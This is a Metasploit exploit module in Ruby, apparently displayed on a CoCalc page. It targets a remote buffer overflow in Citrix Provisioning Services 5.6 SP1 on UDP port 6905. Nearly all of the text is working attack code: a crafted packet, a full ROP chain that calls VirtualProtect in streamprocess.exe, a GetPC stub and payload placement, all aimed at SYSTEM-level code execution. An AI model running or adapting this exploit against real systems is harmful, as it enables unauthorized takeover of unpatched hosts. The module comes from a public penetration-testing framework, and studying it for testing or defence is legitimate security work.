CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Udp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a remote buffer overflow in the Citrix Provisioning Services
16
        5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
17
        0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution
18
        under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
19
        and Windows XP SP3.
20
      },
21
      'License'        => MSF_LICENSE,
22
      'Author'         =>
23
        [
24
          'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
25
          'juan vazquez'  # Metasploit module
26
        ],
27
      'References'     =>
28
        [
29
          ['OSVDB', '75780'],
30
          ['BID', '49803'],
31
          ['URL', 'http://support.citrix.com/article/CTX130846']
32
        ],
33
      'DefaultOptions' =>
34
        {
35
          'EXITFUNC' => 'process',
36
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
37
        },
38
      'Payload'        =>
39
        {
40
          'BadChars' => "\x00",
41
          'EncoderOptions' => {'BufferRegister'=>'ECX'},
42
        },
43
      'Platform'       => ['win'],
44
      'Targets'        =>
45
        [
46
          [ 'Citrix Provisioning Services 5.6 SP1',
47
            {
48
              'Offset' => 5596,
49
              'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
50
            }
51
          ]
52
        ],
53
      'Privileged'     => true,
54
      'DisclosureDate' => '2011-11-04',  #CTX130846 creation date
55
      'DefaultTarget'  => 0))
56

57
    register_options([Opt::RPORT(6905)])
58
  end
59

60
  def exploit
61

62
    packet =  "\x02\x00\x02\x40" # DATA MSG
63
    packet << rand_text_alpha_upper(18)
64
    packet << "\x00\x00\x00\x00" # Length
65
    packet << rand_text_alpha_upper(target['Offset'])
66
    packet << [target.ret].pack('V')
67

68
    rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
69

70
    rop_gadgets =
71
    [
72
      0x0045b141, # POP EAX; RETN streamprocess.exe
73
      0x1009a1bc, # VirtualProtect()
74
      0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
75
      0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
76
      0x004ad0cf, # POP EBP; RETN streamprocess.exe
77
      0x00455d9d, # PUSH ESP; RETN streamprocess.exe
78
      0x00497f5a, # POP EAX; RETN streamprocess.exe
79
      0xfffff9d0, # dwSize
80
      0x00447669, # NEG EAX; RETN streamprocess.exe
81
      0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
82
      0x00426305, # POP ECX; RETN streamprocess.exe
83
      0x00671fb9, # lpflOldProtect
84
      0x004e41e6, # POP EDI; RETN streamprocess.exe
85
      0x0040f004, # RETN streamprocess.exe
86
      0x00495c05, # POP EAX; RETN streamprocess.exe
87
      0xffffffc0, # flNewProtect
88
      0x0042c79a, # NEG EAX; RETN streamprocess.exe
89
      0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
90
      0x0045c1fa, # POP EAX; RETN streamprocess.exe
91
      0x90909090, # NOP
92
      0x00435bbe, # PUSHAD; RETN streamprocess.exe
93
    ].pack("V*")
94

95
    packet[398, rop_nop.length] = rop_nop
96
    packet[550, rop_gadgets.length] = rop_gadgets
97
    # Put payload address in ecx
98
    geteip = "\xeb\x03" # jmp short 0x5
99
    geteip << "\x59" # pop ecx
100
    geteip << "\xff\xd1" # call ecx
101
    geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
102
    packet[634, 10] = geteip
103
    packet[644, payload.encoded.length] = payload.encoded
104

105
    print_status("Trying target #{target.name}...")
106

107
    connect_udp
108
    udp_sock.put(packet)
109

110
    handler
111
    disconnect_udp
112
  end
113
end
114

115